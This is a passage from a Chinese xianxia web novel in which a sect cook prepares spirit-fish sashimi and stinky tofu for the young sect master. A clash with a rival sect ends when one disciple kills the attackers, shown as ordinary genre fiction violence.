“我不是那个意思。”于文峥接过留影珠,复制了一份,又递还给温微竹,露出奸诈的笑容:“我的意思是你不卖,我就复制了拿去卖。”
温微竹现在严重怀疑于文峥和少宗主形影不离,是为了出卖少宗主的影像赚钱。
“少宗主知道这件事吗?”温微竹走到画传送阵的于文峥身后问。
“你说留影珠吗?”于文峥抽空看温微竹一眼,“当然不能让他知道,会死人的。”
画完阵法,于文峥拍了拍手,让温微竹过来站在阵法之中,“不过你不用担心,你有免死金牌。”
“因为我会下厨吗?”温微竹问。
“你这手艺怎么能用‘会下厨’三个字来形容。你这叫厨艺惊人。”
自从吃了一顿鸟肉火锅,于文峥已经被温微竹的厨艺彻底折服。
“你以前在外门厨房真的是浪费你这一身厨艺。你要是做灵食肯定能俘获一大批修士的胃!食材限制了你的发挥!”
温微竹都被夸得不好意思了,羞赧道:“于师兄谬赞,哪有你说的那么好。”
两人传送到了灵深峰峰顶,温微竹趁机快速瞄完了倏鱼的介绍详解。
走到厨房,发现少宗主已经到了厨房,还把鱼丢案板上了。
温微竹从于文峥身后看见少宗主的衣角,忙把手中的书藏起来。
探头往里一看,厨房简直焕然一新,旁边竟然新增了仓储屋!
这是真要打造一个星级饭店厨房吗!
16. 少宗主初动心
“这鱼要怎么处理?”
栗烈转身,问站在于文峥身后的温微竹。
温微竹的视线落在被结界压着无法动弹的鱼身上,回想了一下刚看的关于倏鱼的信息,脑海中大概有了想法。
“先拍晕,杀鱼。”温微竹果断说。
她开始从刀架上选刀。
昨日于文峥买的刀就够多了,今日一看,更多了,琳琅满目,简直要什么有什么。
温微竹挑了一把厚实的杀鱼刀,磨刀霍霍打算给被少宗主拍晕的倏鱼开膛剖肚,结果一刀下去,鱼腹完好无损。
这就很尴尬了,温微竹不信邪又划拉了一刀,还是未伤分毫!
想起什么,于文峥卷卷袖子,正打算说我来,栗烈抢先打了一道灵力在温微竹的刀上。
刚才一目十行看过的资料快速在脑海中涌过,温微竹迅速找到了关键点:倏鱼是五级灵物!
五级……
温微竹的灵力还不如眼前这条鱼。
为了挽回一点颜面,温微竹打算让这两人见识一下自己出神入化的刀工。
“这鱼这么大,那我们今天就吃全鱼宴!”温微竹拍了拍案板上的鱼,没想到把鱼给拍醒了!
厨房顿时鱼跳人飞。
还好栗烈眼疾手快用剑鞘把鱼拍晕了过去。
温微竹扛起地上的晕鱼放净水里洗干净,道:“这鱼这么新鲜,我们今日就在厨房吃如何?正好厨房也挺大。”
“厨房?”于文峥环顾了一下四周,空间是挺大,栗烈昨晚又扩建了,不过他还是第一次听说在厨房吃饭。
“对!”温微竹微微一笑,“吃生鱼片。我直接片下来就给你们吃。”
“啊?”于文峥有些不确定地看向栗烈,“能吃吗?会不会有腥味,寄生虫……”
“倏鱼是深水冷水鱼。”栗烈瞟了于文峥一眼,“去搬个桌子过来。”
“深水冷水鱼怎么了?”于文峥有种自己变成傻子了的错觉。
栗烈忍了忍,“没有寄生虫风险。搬桌子!”
于文峥无言片刻,只得听话去搬桌子。
等搬来桌子,厨房案台已经大变样。
温微竹移到案台后面,面朝他们站着。
“这又是?”于文峥侧头问摆凳子的栗烈。
“方便分食。”栗烈惜字如金,于文峥一头雾水。
温微竹去仓储屋里找了一些蔬果与配料,她架好了锅,准备做汤底。
火还是栗烈控制,准备好锅底,温微竹正式开始杀鱼。
因为温微竹是面朝两人,所以两人看不到对方剖鱼肚的情形,但是能看到温微竹垂眸认真又专业的样子。
温微竹的五官长相很温婉亲切,平时似乎也脸上带笑,给人一种温柔可人、人畜无害的感觉。
没想到,认真工作时的她却嘴唇平直,纤薄的嘴唇显得冷酷又凉薄,鼻梁笔直,神色清冷,薄薄的眼皮微微垂着,有着飘渺于尘世的冷漠寒凉。
于文峥突然大惊小怪地拽了一下栗烈的袖子,捂着狂乱的心脏朝栗烈疯狂眨巴眼睛。
“糟糕!我心动了。”
栗烈阴冷地眼刀直接劈在于文峥身上,看向他时,眉宇轻轻皱着,仿佛诉说着被打断某件事情的不悦。
于文峥忽然有了一种不详的预感,他的心是跳了,某人的心可能是真的动了。
松开栗烈的衣袖,于文峥沉默不语,陷入了莫名的焦虑与迷惘之中。
温微竹抬眸,打破了那遗世独立的淡漠孤寂,温润的眸子看向栗烈问:“有鱼籽,吃吗?”
栗烈摇头,“不吃。”
温微竹看向于文峥,心虚想事情的于文峥尴尬地摸头,“我也不吃。”
温微竹没说什么,低头继续处理。
倏鱼有三个鱼头,处理完鱼腹,温微竹先把鱼头切了,处理干净,把其中一个用锅煎了煎,随后扔进沸腾的汤锅里。
剩下两个让栗烈收起来下次再做。
接下来,温微竹让两人帮她拿了一些碗碟和调料,等一切按温微竹的准备妥当,温微竹已经处理好鱼鳞,将鱼从中间分成了两半。
橙红色的肉质看起来鲜嫩可口。
温微竹戴着手套的手捏了捏鱼肉,露出了满意地笑:“很好,不难搞的硬骨鱼。”
于文峥坐在凳子上不解,“硬骨鱼怎么了?”
栗烈淡淡回:“会有肌间刺。”
见于文峥不懂,栗烈又解释:“会有鱼刺。”
于文峥破防了,“我不会挑刺!鱼刺就是鱼对人类的报复!”
栗烈目不转睛盯着台面,说:“这个鱼还好。”
“还好?”于文峥的视线重新转回案板。
只见温微竹不知何时已经换了一把又长又薄的尖刀,动作迅速麻利地将中间的脊背骨剃了下来。
她甚至拿了个镊子,一手摸着鱼肉,一手快速用镊子拔着什么。
“温师妹这是在做什么?”
于文峥这会都已经不知道该说温微竹专业还是栗烈专业。
一个会用到一些奇怪的工具,而另一个竟然准备了奇怪的工具。
就……
只有自己感觉不配坐在这里。
“拔刺。”栗烈越发惜字如金。
“那么多的刺能拔干净吗?”于文峥顺口说完就意识到自己愚蠢了。
栗烈瞟来的鄙视目光也佐证了这一点。
“这个没小刺,只有大刺,很好拔。”已经拔完刺的温微竹把手里拔下来的刺展开给于文峥看。
将刺丢一旁垃圾篮里,温微竹重新洗洗擦了擦刀。
温微竹很快将鱼肉上白色的薄膜以及一些边边角角都处理干净,只留下橙红色的肉,橙色鱼肉上有着淡淡的橙白相间的纹理,非常的漂亮。
看着就让人感觉鱼肉口感绵实,忍不住咽口水。
小刀一侧,温微竹就将整个鱼肉与鱼皮分割开来。
“马上就可以吃了。”说着,温微竹手起刀落将鱼肉按部位分成几个部分。
于文峥有些摩拳擦掌,杀鱼之前还在做心理建设自己能不能接受吃生鱼片。
这看完温微竹分鱼的过程,已经有些迫不及待了。
将鱼腩切成小片放两个碟子里分装完成,温微竹将两个碟子端至两人身前,又给两人一人一个酱汁碟,倒了一点酱油,接着从另外一个罐子里用勺子盛了一点黄色的酱料放在酱油之中。
“这黄色的是什么?”于文峥化成好奇宝宝,问个不停。
温微竹笑笑不说话,用筷
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子夹了一片切割厚薄均匀的生鱼片,沾了一点点黄色的酱料与酱油,递到少宗主的嘴边。
“少宗主,尝一下。”
温微竹眼神弯弯看着栗烈,让栗烈有一种对方在使坏的感觉。
他张嘴,柔软的鱼肉肥美嫩滑,入口即化,他几乎没有咀嚼,鱼肉便化成甜嫩的清香,紧接着一股辣味伴随着香甜直冲鼻腔与脑门,呛得他直接闭眼捂住了鼻子。
于文峥前一刻还期待满满,下一刻见少宗主那模样,吓得对眼前秀色可餐的鱼肉吞了吞口水,却不敢轻易尝试。
栗烈缓过来之后,抬起蓄着盈盈水光的双眸看向温微竹。
温微竹眸光闪了闪,偏偏头,“味道如何?”
“你应该自己尝尝。”栗烈神色恢复冷静,“厨师得自己先试菜,才让其他人吃吧。”
被栗烈这么一说,温微竹都不确信起来。
按理来说应该没问题,她之前处理过几次深水冷水鱼,但不是灵鱼,哪怕如此,那鱼肉也细腻柔软,口感十分了得。
没道理,倏鱼都五级灵物了,口感还比不上普通鱼。
温微竹换了双筷子,不确信地夹了一块,沾了点酱汁尝试。
因为对黄芥酱直冲脑门的辣味有心理建设,因此温微竹的神色很平常,她认真品尝口中的鱼肉,质地丰富细腻,入口即化,口感极其奢华,比普通鱼要美味好几个层次。
温微竹不确定地问:“少宗主是不大能接受黄芥酱?”
温微竹指指碟子里的黄色酱料。
栗烈神色平淡,拾起温微竹刚才放下的筷子,道:“并没有,只是让你亲口感受一下它的美味。”
温微竹:“……多谢少宗主,让我尝到了如此美味的食物。”
少宗主夹起一块新鲜的鱼肉,看向温微竹,“我应该感谢你。”
说完,他将鱼肉放入嘴中,这次对黄芥酱有了心里预期,少宗主的神色也非常的镇定。
原来是为刚才的失态找补。
还挺小气。
温微竹不再说话,嘱咐一旁的于文峥:“于师兄,趁着新鲜,快吃吧。”
于文峥看了一眼栗烈,刚才听两人说了半天,愣是没明白,到底是好吃还是不好吃。
栗烈淡定地吃着,见于文峥盯着他,不动筷,便道:“不吃就给我。”
“吃!吃!吃!”于文峥护食,拿起筷子就照着栗烈的做法,沾了点酱将鱼肉塞进嘴里。
鱼肉味还没尝到,先是一阵冲鼻的辣味辣得于文峥直咳嗽。
于文峥咳得惊天动地。
栗烈事不关己。
温微竹一边处理鱼肉一边建议于文峥:“于师兄,黄芥酱只沾一点点。”
于文峥终于缓过来后,擦干眼泪,见栗烈吃起来神色平静,难以理解:“你是怎么忍受这个辣味的?这也太冲了!都冲脑门了!”
“没听温师妹跟你说吗?少沾一点。”栗烈又夹了一筷子放入嘴中。
温微竹切鱼肉的手一顿,不经意瞟了少宗主一眼。
于文峥见栗烈吃得这么正常,鼓气勇气,试探着只沾一点点,然后放入嘴中。
柔嫩密实的鱼肉在口腔中化为甜香,辣味冲击脑门带来爽感。
“这简直是美味!”
17. 其他宗门挑衅
三人吃了一顿美美的鱼宴。
有的部位,温微竹让栗烈控制火候轻轻烤一下,有一点点娇嫩感。
有的部位,她放了一些不知道什么调料香煎,特别香甜美味。
她甚至蒸了一点米饭,连米饭都松松糯糯,有点酸甜下饭的口感。
“温师妹,为什么你蒸出来的米饭都这么好吃?”
于文峥已经彻底拜服,现在他都后悔没有早点把温微竹拐来当栗烈的专属厨师。
这是错过了多少美食啊!
“蒸米饭的时候,我加了点甜醋。你做的只要加一点那个,也一样好吃。”
温微竹坐在两人对面,这次没有太过推辞,很乖顺地和两人一起吃起来。
“那哪能一样!那怎么别人不知道蒸米饭的时候要加甜醋,偏偏就你会给米饭加甜醋呢!就像,别人往鱼肉撒醋去腥,但你用朱栾汁,去腥的同时还留有柑橘香这就是你的厉害之处!”
温微竹羞涩一笑,道:“谢谢师兄认可。”
温微竹离开的时候,栗烈照例递给她一块中品灵石,给的时候,还是问了一下:“你真的不要上品灵石?”
温微竹哑口,就很后悔!
上品灵石当然比中品好!
过惯了穷日子,哪能想到灵石这么好赚呢!
可现在又说要上品灵石感觉有点太贪。
更何况少宗主都让她一起吃饭了。
这么高级的食材,可不是她想吃就能吃到的。
可持续发展最重要,每次给她一块中品灵石已经是非常好的回报了!
温微竹微笑:“中品灵石就行了。”
栗烈也没再说什么。
从灵深峰回来,温微竹回了一趟云萃峰。
将鱼的边角料喂给灰乌鸦,用锅将鱼籽与鱼泡熬了汤,喂给无息仙尊。
坐在院子里,见灰乌鸦对汤底垂涎欲滴,温微竹将料盛出来,放进灰乌鸦的食盆里。
灰乌鸦开心地吃起来,还甩了甩尾羽。
温微竹坐在一旁,垂着眸,手中不断摩挲着于文峥送给她的留影珠。
等灰乌鸦吃完,嘎嘎叫了两声,温微竹才抬眸,收起手中的留影珠,起身收拾桌子。
中堂。
阵法课上,于文峥奇异地看见温微竹坐在课堂的座位上,认真看手中的阵法书籍。
欣喜之余,他眼中的疑惑一闪而过。
身旁的人一直跟他说话,他顿了顿脚步,最终没有走过去跟她打招呼。
温微竹看书的时候非常投入,周围吵吵嚷嚷的环境对她毫无影响,仿佛有一个独属于她自己的世界。
于文峥凝眉沉思,对于一个杂灵根来说,上这些课除了增加知识量,对自身的修为毫无帮助。
杂灵根只能练心法,增强对灵力的吸收与掌控。
而要驾驭灵力,操控法器,这对于杂灵根来说,几乎是一辈子都无法做到的事情。
这也是的当初他如此肯定温微竹来上课,纯粹是为了吸引栗烈的注意,让栗烈受不了美食的诱惑,朝她抛出橄榄枝的原因。
现在温微竹的目的已经达到了。
那她还来上阵法课的原因是什么?
明明她昨天就没来上阵法课!
一整节课,于文峥都在想这个问题,导致身边的人明显感觉到他的心不在焉。
他也懒得管这些人的起哄,下课后,打发了他们,走到坐在位置上依旧在翻书的温微竹身边。
温微竹看书速度很快,因为下课时间,到处有人影走动,因此于文峥在她身旁站了好一会,也未能引起她的注意。
上课之时,于文峥有观察过,温微竹上课的时候一心二用,听课的时候,也没有停止看手中的书。
这样一目十行的速度,于文峥琢磨着温微竹哪怕看也只是走马观花瞟上一眼。
“温师妹。”他终于忍不住出声,“你今天怎么来上课了?”
可能是声音太过突然,温微竹身体不由自主往后撤,抬头看向于文峥的眼神也透着警惕,待意识到是于文峥之后,才恢复了温和的神色。
“于师兄。”温微竹扣起书本,站起来,回答道:“我想学学看能不能控制阵法,现在每次做饭都要少宗主控制火候,感觉不太好。”
于文峥略感意外,越相处越发觉温微竹这个人脚踏实地,是个很不错的人。
两相对照下,对温师妹有诸多猜测的自己,更显小人之心。
于文峥故作深沉:“让少宗主操控是不太好。”
温微竹微微睁大了双眼,随后敛眉抿唇。
她心里是想自己操控火候没错,可事实上,在她涉猎了阵法知识后,发现她根本做不到。
操控阵法的前提是能操控灵力。
对于操控不了灵力的杂灵根来说,想要学会阵法,简直就是白日做梦。
温微竹嗫嚅着,思考着怎么表达自己的无能为力,未曾想于文峥话只说了一半,故作停顿后,接着说:“以后我来操控吧。”
温微竹:“?”
这……
让于文峥操控和让少宗主操控,对她来说,有什么区别?
她只是一个拿钱做事的厨子,就应该把所有事情都包圆。
怎么能让付了钱的人来厨房当帮手。
“算了,我还是想想别的办法吧。”温微竹收拾好书,走到于文峥身旁。
她心里琢磨着,实在不行,她就还是用柴火烧得了。
但于文峥不知温微竹心中所想,他感受到了轻视,神色不满,“我的阵法虽然没有少宗主那么厉害,但在宗门弟子中也是数一数二的!”
温微竹意识到自己的话有歧义,急忙解释道:“于师兄,我不是这个意思。我是想说,我拿钱办事,不能还让你们来控火。你们本来就应该等着吃就行,这些事是我该做的。”
于文峥一时哑口无言。
他隐约觉得哪里不对,可又没发现其中关窍。
这时外面响起一阵喧闹之声,两人朝外望去,见众人神色严肃,事态似乎非同寻常,两人默契地一起走了出去。
来到中堂广场,听见有人愤懑不平地说青延宗的人来山门挑衅。
于文峥神色一凛,刚想跟温微竹说他去看看,就听温微竹说:“于师
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兄,带我一起。”
见于文峥神色迟疑,温微竹神色诚恳,“我会好好待着一边,绝不惹事。”
于文峥没时间多想,带着温微竹一起传送至山门。
山门已经挤满了人,有一群穿着一身明黄色弟子服的青延宗弟子在山门前叫嚣。
有几个脾气暴躁的常阳宗弟子已经跟那群人打了起来。
但对方有一个十分高大,手扛大刀的青年修士,比较厉害,几个常阳宗弟子皆被大刀横扫在地。
常阳宗弟子呈现一面倒的趋势,那五大三粗的修士扛着大刀,气宇轩昂地站在山门前,嬉笑道:“常阳宗就这么些弱鸡,江无息倒了之后,常阳宗也是到头了。”
大刀修士身后的人跟着一起哄笑。
“今天就我们这些人就能把常阳宗荡平了吧。”另外一个干瘦如柴的人喊道。
那些人相顾大笑。
“岂有此理!”
于文峥咬牙切齿就要上前,这时一声剑鸣,一身白衣点缀着金光的人影从天而降。
“哪来的垃圾敢在常阳宗门口撒野!”
少宗主手持长剑,站在众人身前,见我方不少弟子已经身上带伤,清俊的眉头蹙起,冷冷地看向挑衅的众人。
“就是你们在这里叫嚣?”说着,根本不跟对方废话,直接开打。
于文峥神色凝重,咬牙道:“那个扛大刀的起码元婴期,少宗主对上怕是有危险,还是得通知宗主一声。”
一听对方境界似乎比少宗主高,温微竹的心也提了起来。
此时一个红色的身影慢悠悠地出现在众人面前,挥舞着手中的乌金铁扇,悠哉悠哉道:“这么热闹,来个人跟本公子说说,发生了什么?”
“蒋明祐,青延宗都舞到我们门前了,你还有闲心在这里看戏!”于文峥愤愤指责。
“哦,青延宗的人啊。”蒋明祐收起扇子,站在一旁看着少宗主和几人缠斗,“正好我瞧瞧,师弟最近剑道精进了没有。”
于文峥气急,“对方最厉害的起码元婴!你还不去帮少宗主!”
“怕什么,师弟也差不多要元婴了吧,我都快元婴了,没道理师弟还停留在金丹初期,是吧?”蒋明祐朝于文峥意味不明的笑。
于文峥脸色铁青,沉默不语。
“哟,不会吧。”蒋明祐故作惊讶,“师弟还停留在金丹初期?看来修这剑道没什么前途,不若跟我一起修法。”
话毕,手中乌金铁扇一开,一阵飓风凭空而起,将对面的人群吹得歪七扭八,倒地一片。
蒋明祐跃身加入战局。
高手之间的战局,常人往往无法加入。
众人在一旁看得惴惴不安,温微竹凝视着那红色的身影,凑近于文峥,问:“于师兄,蒋师兄很厉害吗?”
于文峥眼睛紧紧盯着战局,听见温微竹的问话,愣了一下,“你不知道蒋明祐?”
温微竹还没回,于文峥就接着说:“不知道也好,他人品不怎么样,在宗门最好离他远一点。”
“他人品怎么了?”温微竹状似无意问。
“仗着自己是天灵根,为所欲为。”
18. 少宗主的沉默如此动人
于文峥皱着眉头,很不想提起蒋明祐,但想到今日在中堂广场蒋明祐已经注意到了温微竹的存在,于文峥觉得自己有必要提醒一下温微竹。
“温师妹,你一定不要被他的甜言蜜语迷惑。他们这种人都没有心的。”
温微竹敏锐地察觉到了一点,她低头掩饰自己跳动的眼神,随后抬头略作疑惑问:“他们?”
于文峥不欲说太多,但又想让温微竹意识到蒋明祐这种人的杀伤性。
他想了想,道:“温师妹应该知道木秀于林,风必摧之。反过来也是一样。想要成为出类拔萃的那棵树,必定会遭受比其他人更多的风雨。而承受了风雨的这些人,在别的地方,也必然受到优待。”
“蒋明祐是天灵根,拥有比少宗主更优越的天赋。他是常阳宗新一代的希望。蒋明祐深知这一点,所以在常阳宗内肆无忌惮,将宗门当做他的猎艳场。”
“他天资好,长得也赏心悦目,还惯会甜言蜜语,哄得无数的女弟子心花怒放,甘愿为他赴汤蹈火。可他玩腻了,就甩手一扔,翻脸不认人。可即便这样,也有无数单纯的女弟子被他哄骗,以为自己会成为特例,而这些人,往往最后下场都很凄惨。”
温微竹听得频频皱眉。
于文峥叹气,“哪怕这样,宗门也不会管他。那些受伤的女弟子只能吃哑巴亏,哭诉无门。之前有个颇有家世的师妹为了他自杀,最终也只是不了了之。”
于文峥郑重告诫温微竹:“现在知道了吧。像你这种没有背景的小弟子,若是哪一天惹蒋明祐不高兴,他直接杀了你,都不用负责。所以,一定要记住,看见他一定躲得远远的。”
“厉害的人也不都像蒋师兄这样吧,少宗主人就挺好的。以前的无……”
“别提少宗主了,糟心。”于文峥打断温微竹的话,皱眉看着战局,“他要是好好修炼,也不至于至今还停留在金丹初期!”
“少宗主这个年纪,金丹初期已经很厉害了。”温微竹诚心道。
于文峥垂眸看了温微竹一眼,深深叹了口气,恨铁不成钢道:“他若是好好修阵法,不去修这破剑道,早突破金丹结婴了!”
“剑道?剑道怎么了?之前的无息仙尊不也是修的剑道,他就很厉害。”温微竹眨巴着无辜的眼睛问。
“呵……”于文峥冷笑了一声,“你没听过蒋明祐,倒是听说过无息仙尊。”
温微竹怔了一下,正想说点什么圆一圆。
于文峥却并未在意,接着说:“剑道是没问题,但关键是少宗主不适合修剑道。你可能不知道,灵根是修行的根本,但除了灵根之外,修士对道的感悟也很关键。少宗主天生就是学阵法的料,所有的阵法,只要看一遍,他就会。无论多么高阶,多么难的阵法,他都可以信手捏来。也因此,他十五岁就结了金丹。这修行速度,完全可以比肩天灵根的修炼速度。”
于文峥越说越气愤。
“可十五岁之后,少宗主忽然就要修剑道,这之后,五年了,他连金丹初期都没突破!你知道对于修士来说,五年能发生多大变化吗?足够一个天灵根从零开始,直跃到金丹圆满!”
温微竹睁大双眼,露出不解:“少宗主想学剑道是有什么特殊原因吗?纯粹是忽然发现自己喜欢,还是因为别的什么?有没有可能是太崇拜某个很厉害的剑修之类的。”
“不知道,少宗主以前修炼很刻苦的,虽然他现在修炼也刻苦。但有用功和无用功吧,唉,他越刻苦越让人看着揪心。”
于文峥的忧虑如此真实。
温微竹试着问:“如果有比较好的剑道师父,少宗主进步会不会大一点?”
“温师妹,我跟你说,虽然师父是重要,但天赋绝对是最重要的。少宗主的天赋,再好的师父教也就那样!不知道什么时候他才能迷途知返。”
于文峥望着战局中的少宗主忧心忡忡。
若是不提起,还能假装不在意。
提起真的是气死个人!
温微竹抿唇不语。
她一直试图从于文峥的口中打探无息仙尊的事情,但于文峥都完美的避开了。
要么于文峥对无息仙尊的确不熟,要么就是他在刻意避开谈论到无息仙尊。
温微竹不确定是哪一种,但可以肯定在于文峥这里,她套不到任何与无息仙尊相关的信息。
战局因为蒋明祐的加入,呈现了一面倒的局势。
将那扛大刀的修士打倒之后,少宗主剑指对方咽喉,冷声道:“回去告诉你们宗主,下次若再犯我常阳宗……”
少宗主话未说完,那扛刀修士浑身霎时爬满霜冻,随后整个身躯被冰冻,最后身躯如炸裂的岩石般碎成好几块。
一切只发生在一瞬间,那扛刀修士甚至没来得及发出声音。
剩下几个领头的青延宗弟子也不例外,全都冻成冰块碎成几块。
少宗主瞪向惬意走过来的蒋明祐,“你杀他们做什么?”
蒋明祐耸耸肩,一脸无所谓,“送人头都送到山门口了,我们不收多不好意思。”
他轻摇扇子,拎起地上扛刀修士的头颅,扔给后面那群惊恐盯着他的人,笑眯眯道:“回去告诉你们宗主,感谢贵宗门如此慷慨送人头,我蒋明祐欢迎你们下次再来哦。”
蒋明祐将地上的几个人头悉数捡起来丢给对方惊恐万分的弟子,笑嘻嘻地嘱咐:“记得让你们宗主更新一下资料,常阳宗现在的天灵根是我蒋明祐,下次来常阳宗直接报我名号喔。”
眼前的红衣男子明明身上滴血未沾,神色也言笑晏晏,却让对方在场的弟子全都毛骨悚然。
“滚吧!”蒋明祐微笑朝吓得脸色惨白的青延宗弟子抛媚眼,亲切又温和地赶人。
见蒋明祐没有杀他们的意思,那群青延宗弟子抱着人头,尖叫着连滚带爬地跑了。
少宗主冷冷站在一旁,瞟了蒋明祐一眼,“你自己去跟宗主交代。”
说完,少宗主转身,扫了于文峥与温微竹一眼,随后御剑而去。
“少宗主!”
于文峥喊了一声,想要追过去,温微竹拉了一下于文峥的袖子。<
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p>“于师兄,能带我一起去灵深峰吗?少宗主说要吃臭豆腐,我还没开始准备,我想先去准备一下。”
于文峥直觉少宗主现在心情不太好,说不定温微竹在,还能用美食抚慰一下少宗主的心灵,因此毫不犹豫就带上了温微竹。
随着少宗主离开,常阳宗众弟子朝着蒋明祐蜂拥而至,将蒋明祐团团围住,激动地呼喊他的名字:“蒋师兄!蒋师兄!蒋师兄最棒!”
被簇拥的蒋明祐看着于文峥与温微竹追着少宗主离去的身影,捏着手中的扇子,眯了眯眼。
等于文峥与温微竹两人到灵深峰的时候,少宗主早已在院子里的空旷地带练上剑了。
看见两人,少宗主不悦地皱了皱眉,语气十分不友善,“你们来做什么?”
“温师妹说要做一下臭豆腐的前期工作。”于文峥赶紧把责任推给温微竹。
温微竹点点头,“因为卤水要发酵,我来提前做一下。”
少宗主抿抿唇,沉默地点点头,“你去吧。”
说完,又兀自开始练剑。
但温微竹却并没有动,于文峥站在一旁,看了看温微竹,凑到温微竹耳旁小声问:“温师妹,怎么了?”
温微竹不说话,只是静静地站着。
没一会,少宗主停下练剑,走到温微竹的面前,问:“怎么了?”
“有些材料需要买,少宗主能带我下一趟山吗?”温微竹仰着头,眉目温婉,望向运动后额头微微湿润的少宗主眼神清澈单纯。
栗烈看向于文峥,于文峥立马挠头,“啊,我过会有急事,是真的陪不了温师妹,你就去呗,臭豆腐不是你自己说要吃的嘛。”
说完,于文峥就利索跑路,消失无影。
栗烈重新看向温微竹,无奈道:“得跟我御剑,能行吗?”
温微竹点点头,“可以。”
直到两人在高空穿梭,温微竹才发现自己太高估自己了。
她站在少宗主的身后,紧紧拽着少宗主的衣袖,浑身僵硬,连动都不敢动。
虽然紧张得浑身是汗,但她还是一声未哼,直到两人到了镇上,从剑上下来,温微竹缓了好一会才让僵硬的身体恢复活力。
栗烈收起剑,静静站在一旁,温微竹朝栗烈尴尬笑笑,“第一次,有点紧张。”
栗烈只是皱了一下眉,并没有说话。
等温微竹恢复行动,两人在城镇各个粮油杂铺里穿梭。
最后,温微竹甚至去零食铺买了一些话梅零嘴。
回去的时候,栗烈没再御剑,而是画了个传送阵,拽着温微竹的手腕,两人一起传送回了灵深峰。
将温微竹送到厨房,栗烈便转身去院子练剑去了。
温微竹凝视着被少宗主握过的手腕,沉思,想起往常少宗主总是自己独自御剑而去的背影,脸上不禁露出温柔的笑意。
少宗主确实是常阳宗最好的人。
温微竹再次肯定了厨房管事的言论。
洗洗手,温微竹扎起袖子,包住头发,开始做臭豆腐的卤水。
19. 少宗主锁定猎物
煮黑豆豉,剥笋,准备调料。
很快,卤水就准备妥当。
将卤水放置一旁等待发酵,温微竹洗了洗手,拿了一块新的砧板,挑了一把水果刀。
将新买的柠檬用盐洗过之后,切片。
温微竹又去院子里,站在朱栾树下问练剑的少宗主:“少宗主,我可以摘一点朱栾吗?”
栗烈停下动作,朝她点点头,“你随便。”
温微竹开心地摘了十来个,也没看少宗主,转身又回了厨房。
栗烈收回目光,垂眸,盯着手中的剑,过了好一会,才恢复练剑的动作。
没一会,温微竹端着一个壶与杯子走过来,将端盘放在一旁的石桌上,温微竹温婉地站在一旁,微笑问:“少宗主,练累了,要喝点水吗?”
栗烈愣了一下,收剑,走过来。
温微竹从壶里倒了一杯,将杯子递到少宗主的手中,“尝尝。”
栗烈接过杯子,先是轻轻抿了一口,酸酸甜甜的口感,有很浓郁的柠檬香,同时还有淡淡的梅子甘甜的味道。
他大饮了一口,眼神清亮,望向温微竹:“怎么做的?冰冰凉凉,酸酸甜甜,还特别清香,很好喝。”
“好喝就好。里面我放了一些柠檬和朱栾,还加了点梅子,怕太酸,所以放了些冰糖和蜂蜜。水是后山取的冰泉水,盛夏,解暑。”
温微竹接过栗烈的空杯,又给他倒了一杯。
栗烈一饮而尽,恨不得直接拿着壶喝。
温微竹正准备接过栗烈的空杯,被栗烈避开了。
他在一旁坐下,从储物戒里掏出两个玉杯,让温微竹在旁边坐下,“和我一起喝,我们聊聊。”
温微竹不像第一次那样受宠若惊,只迟疑了一下,注意力就被栗烈掏出的玉杯吸引。
玉杯整体优雅流畅,玉白的杯身犹如凝着晨露般莹润,中间镂空雕刻着栩栩如生的龙与凤,午后的阳光透过树缝照射在杯体上,疏影斑驳,光影从孔中透出,恍若云影浮动。
“这杯……”
温微竹还没问出自己的疑问,栗烈率先替她解答:“这杯名为云隙透,取“云隙漏天光”之意,杯体的孔眼为玲珑瓷,是一种特殊的工艺,整个杯体,看似全身是孔,实则滴水不漏。”
温微竹惊奇,双手持壶倒入一杯果茶,只见这杯镂孔透光,却真的滴水不漏。
“给自己倒一杯,尝尝。”栗烈拿起温微竹倒满果茶的云隙透,品尝着沁人心脾的美味。
冰爽的果茶与这能保持凉意的云隙透,在盛夏的午后,绝配!
温微竹给自己倒了一杯,端起云隙透,触感温润清凉,嘴唇轻碰杯沿,丝丝凉意透来,驱散了盛夏的热意。
一杯果茶下肚,拂去了整个身心的浮躁,十分畅爽。
午后的灵深峰没有蝉鸣,只有间或传来的鸟叫,清脆婉转,充满林间雅趣。
两人无言畅饮了一会,放下杯子,栗烈率先开口:“今日于文峥跟你说什么了?”
“嗯?”温微竹愣了一下。
“我感觉你一直试图安慰我。”栗烈放下杯子,神色认真。
温微竹眨巴眨巴眼睛,垂眸抿了一口果饮,“没有。我只是跟于师兄问了问蒋师兄,我之前没见过蒋师兄,你和于师兄似乎都不是很喜欢他,所以了解一下。”
提到蒋明祐,栗烈沉下脸,用于文峥劝温微竹一模一样的语气说:“你看见他离他远点,要是他缠着你,你用传讯螺联系我。”
温微竹点点头,“于师兄也跟我说过了。”
见温微竹不再多言,栗烈忍不住问:“不想问问为什么?会觉得我是因为嫉妒之类的所以不喜欢蒋明祐吗?”
温微竹意外抬眸,放下替栗烈斟茶的手,不解道:“为什么会这么问?你若是会嫉妒蒋师兄,又何必到现在还在坚持剑道。”
“于文峥果然什么都跟你说了。”
“……”
“会觉得无法理解吗?”栗烈垂眸捏着手中的云隙透。
“比起无法理解好奇更多一点吧。”云隙透在手中心打转,温微竹思索着,“放弃一样所有人渴望而自己唾手可得的东西,并不是一件容易的事。”
两人都没有看对方。
栗烈将杯中的冷饮一饮而尽,没再继续这个话题,转而问温微竹:“《灵物万千详解》看完了吗?”
知晓栗烈并不想谈论他选择剑道的原因,温微竹也就不再追问,她顺着少宗主的话题,摇了摇头。
这几天她没太多时间看那本书。
现在比起那本书,温微竹更想研究少宗主那个乱糟糟的院子。
她在院子里看到了好几样她在《灵物万千详解》里看到的灵植。
她真想对照着书本认真研究一番。
“少宗主,我可以研究一下你院子里的灵植吗?”温微竹眼神殷切,“我刚才取水的时候,好像看到院子里有山葵,我要是早看到,你们吃生鱼片的时候,可能我就用山葵做酱了。”
云隙透贴着嘴唇传来清凉的触感,栗烈的大拇指摩挲着杯身上凹凸不平的雕刻,他眯着眼睛,透过杯沿看向眼前的女子。
温婉的眉眼,眼神大部分时候都温润平和,只偶尔才会焕发出少女才有的活力。
沉默寡言,做事踏实。
看起来温柔亲切,却很有边界感。
就是这样一个人,她正在一步一步朝着自己的理想走近。
“院子里确实有山葵。”他听见自己说,“院子里的灵植都是我从不同地方挖来的,你可以随便看,不懂的也可以问我。”
我会等你。
等你朝我的理想一步一步迈进。
我会为你敞开所有的门。
但你得主动走过来。
这也不算太过分的要求,栗烈想。
既然第一步是你迈出的,那以后的每一步,就都得你来。
我等着看你能给我交一个什么样的答卷。
得到了允许,温微竹连果饮都不喝,就扎身于那乱糟糟的院子里去了。
